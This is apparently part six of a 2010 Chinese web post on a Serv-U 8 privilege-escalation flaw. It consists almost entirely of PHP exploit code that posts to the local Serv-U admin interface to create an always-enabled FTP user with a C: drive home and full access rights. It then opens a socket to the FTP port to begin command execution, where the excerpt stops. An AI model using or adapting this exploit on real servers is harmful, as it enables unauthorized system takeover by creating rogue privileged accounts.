发现serv-u8提权漏洞(6)
时间:2010-01-15 13:37来源:未知 作者:admin 点击:次
$post_data_adduser['ComboAdminType'] = "%E6%97%A0%E6%9D%83%E9%99%90"; $post_data_adduser['AdminType'] = ""; $post_data_adduser['ComboHomeDir'] = "/c:"; $post_data_adduser['HomeDir'] = "/c:"; $post_dat
$post_data_adduser['ComboAdminType'] = "%E6%97%A0%E6%9D%83%E9%99%90";
$post_data_adduser['AdminType'] = "";
$post_data_adduser['ComboHomeDir'] = "/c:";
$post_data_adduser['HomeDir'] = "/c:";
$post_data_adduser['ComboType'] = "%E6%B0%B8%E4%B9%85%E5%B8%90%E6%88%B7";
$post_data_adduser['Type'] = "0";
$post_data_adduser['ExpiresOn'] = "0";
$post_data_adduser['ComboWebClientStartupMode'] = "%E6%8F%90%E7%A4%BA%E7%94%A8%E6%88%B7%E4%BD%BF%E7%94%A8%E4%BD%95%E7%A7%8D%E5%AE%A2%E6%88%B7%E7%AB%AF";
$post_data_adduser['WebClientStartupMode'] = "";
$post_data_adduser['LockInHomeDir'] = "0";
$post_data_adduser['Enabled'] = "1";
$post_data_adduser['AlwaysAllowLogin'] = "1";
$post_data_adduser['Description'] = "";
$post_data_adduser['IncludeRespCodesInMsgFiles'] = "";
$post_data_adduser['ComboSignOnMessageFilePath'] = "";
$post_data_adduser['SignOnMessageFilePath'] = "";
$post_data_adduser['SignOnMessage'] = "";
$post_data_adduser['SignOnMessageText'] = "";
$post_data_adduser['ComboLimitType'] = "%E8%BF%9E%E6%8E%A5";
$post_data_adduser['LimitType'] = "Connection";
$post_data_adduser['QuotaBytes'] = "0";
$post_data_adduser['Quota'] = "0";
$post_data_adduser['Access'] = "7999";
$post_data_adduser['MaxSize'] = "0";
$post_data_adduser['Dir'] = "%25HOME%25";
$postStr = createRequest($port,$host,$URL,$post_data_adduser,$sessionid,"http://127.0.0.1".":".$port."/Admin/ServerUsers.htm?Page=1");
fputs($sock_adduser, $postStr,strlen($postStr));
$result = fread($sock_adduser, 1280);
fclose($sock_adduser);
echo "添加用户成功!";
//adduser-----------------------------------------
//exec-------------------------------
$sock_exec = fsockopen("127.0.0.1", $ftpport, &$errno, &$errstr, 10);
$recvbuf = fgets($sock_exec, 1024);
$sendbuf = "USER ".$ftpuser."";
------分隔线----------------------------